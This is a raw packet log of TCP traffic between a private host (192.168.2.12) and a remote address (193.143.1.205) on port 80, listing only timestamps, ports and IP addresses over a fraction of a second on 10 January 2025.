Jan 10, 2025 17:54:22.175183058 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.175249100 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.184900045 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.184906960 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.184941053 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.184988976 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.185000896 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.185014009 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.185024023 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.185074091 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.185115099 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.185153008 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.185183048 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226186991 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226205111 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226216078 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226229906 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226326942 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.226490021 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226608038 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226619005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226629972 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226641893 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226654053 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226666927 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226679087 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226687908 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.226694107 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226727962 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.226742029 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.226926088 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226938009 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226952076 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.226974010 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.227020979 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227032900 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227044106 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227054119 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.227055073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227066994 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227077007 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.227087021 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227101088 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227108955 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.227113962 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227128029 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.227129936 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.227170944 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228018045 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228166103 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228177071 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228189945 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228202105 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228208065 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228214025 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228229046 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228230000 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228241920 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228254080 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228264093 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228267908 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228282928 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228291035 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228317022 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228647947 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228689909 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228718042 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228733063 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228740931 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228744030 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228770971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228796005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228807926 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228820086 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228832960 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228847027 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.228851080 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.228884935 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.251004934 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251043081 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251048088 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251061916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251070023 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251084089 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.251146078 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.251171112 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.251983881 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.252002001 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.252099991 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.265655041 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.265678883 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.265691042 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.265800953 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.275520086 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275532961 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275557995 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275569916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275578976 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275645971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.275645971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.275679111 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275697947 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275752068 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275763988 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.275772095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275780916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.275796890 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.275965929 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.316806078 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316847086 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316859961 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316884995 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316937923 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316946030 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.316967964 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317020893 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317020893 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317059040 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317146063 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317158937 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317166090 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317193031 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317248106 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317394972 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317406893 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317413092 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317420006 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317433119 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317440033 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317442894 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317480087 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317833900 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317853928 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317861080 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317873955 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317879915 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317894936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317900896 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317909956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.317915916 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.317955017 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.318471909 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318480968 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318494081 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318500042 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318502903 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.318506956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318519115 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318526983 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318538904 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318545103 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318546057 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.318552017 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318557978 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318571091 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.318607092 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319225073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319246054 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319344997 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319359064 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319365025 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319370985 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319376945 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319382906 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319395065 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319401026 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319401979 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319434881 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319540977 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319852114 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.319868088 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319902897 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.319988012 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320000887 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320008993 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320020914 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320027113 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320033073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320039034 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320054054 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320059061 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.320061922 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.320106030 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.320106030 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.323251963 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.341686964 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341702938 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341716051 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341722965 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341737986 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341743946 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.341865063 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.341865063 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.341902971 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.342004061 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.342557907 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.356168985 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.356182098 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.356204033 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.356211901 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.356225967 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.356287956 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.356494904 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.380542040 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380603075 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380615950 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380623102 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380629063 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380635977 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380640984 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380652905 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380666971 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.380788088 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.380788088 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407407999 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407464981 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407475948 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407484055 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407489061 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407640934 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407677889 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407740116 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407763004 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407795906 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407804012 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407816887 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407824039 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407845020 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407846928 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407851934 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407865047 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407871962 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407902956 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407902956 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407908916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.407934904 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.407958984 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408035994 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408077955 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408086061 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408104897 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408119917 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408123016 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408128023 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408129930 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408129930 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408138990 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408168077 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408448935 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408456087 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408468962 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408476114 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408512115 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408596992 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408602953 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408615112 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408622980 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408632040 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408643961 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408651114 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408652067 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408672094 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408693075 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.408962011 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408977032 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408988953 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.408994913 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409008980 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409014940 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409015894 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409029007 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409035921 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409035921 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409049988 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409059048 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409075022 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409461021 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409468889 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409480095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409486055 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409488916 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409501076 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409506083 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409507990 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409523964 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409528017 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.409537077 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409545898 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.409580946 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.412455082 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412467003 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412476063 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412482977 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412496090 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412533998 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.412617922 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412625074 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412636042 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412642956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412643909 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.412657976 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412662983 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.412676096 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.412688017 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.412796974 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.432079077 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432096004 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432113886 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432121038 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432127953 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432137012 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432256937 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.432256937 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.432430029 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432472944 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432480097 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.432786942 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.446691990 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.446715117 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.446727037 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.446737051 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.446742058 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.446855068 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.447540045 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.456701040 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456715107 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456732035 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456741095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456753969 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456760883 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456828117 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.456877947 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456881046 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.456886053 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456895113 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456919909 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.456924915 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.456928015 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.457016945 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.497955084 CET	80	49711	193.143.1.205	192.168.2.12
